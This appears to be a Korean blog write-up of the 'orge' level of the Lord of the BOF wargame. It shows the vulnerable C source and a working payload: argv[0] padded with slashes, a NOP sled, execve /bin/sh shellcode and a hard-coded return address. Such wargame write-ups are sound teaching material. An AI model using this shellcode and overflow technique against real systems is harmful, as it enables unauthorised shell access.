[LOB] darkelf -> orge
2018. 3. 31. 18:46
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 | /* The Lord of the BOF : The Fellowship of the BOF - orge - check argv[0] */ #include <stdio.h> #include <stdlib.h> extern char **environ; main(int argc, char *argv[]) { char buffer[40]; int i; if(argc < 2){ printf("argv error\n"); exit(0); } // here is changed! if(strlen(argv[0]) != 77){ printf("argv[0] error\n"); exit(0); } // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); } // check the length of argument if(strlen(argv[1]) > 48){ printf("argument is too long!\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); // buffer hunter memset(buffer, 0, 40); } | cs |
시작
저번과 같다. 버퍼,환경변수를 다 지워주고 argv[1]의 길이가 48을 넘으면 안된다.
바뀐점은 argv[0]의 길이가 77이여야한다는 것이다. 그렇지않으면 exit된다.
argv[0]은 실행프로그램 이름으로 ... 실행할때 .////////orge 이런식으로 입력해서 길이를 늘릴수 있다.
.`python -c 'print("/"*72)'`orge
argv[1]의 주소 , 0xbffffb84
payload : .`python -c 'print("/"*72)'`orge `python -c 'print("\x90"*19+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x84\xfb\xff\xbf")'`
클리어
'Wargame > LOB' 카테고리의 다른 글
[LOB] troll -> vampire (0) | 2018.04.01 |
---|---|
[LOB] orge -> troll (0) | 2018.04.01 |
[LOB] wolfman -> darkelf (0) | 2018.03.31 |
[LOB] orc -> wolfman (0) | 2018.03.30 |
[LOB] goblin -> orc (0) | 2018.03.30 |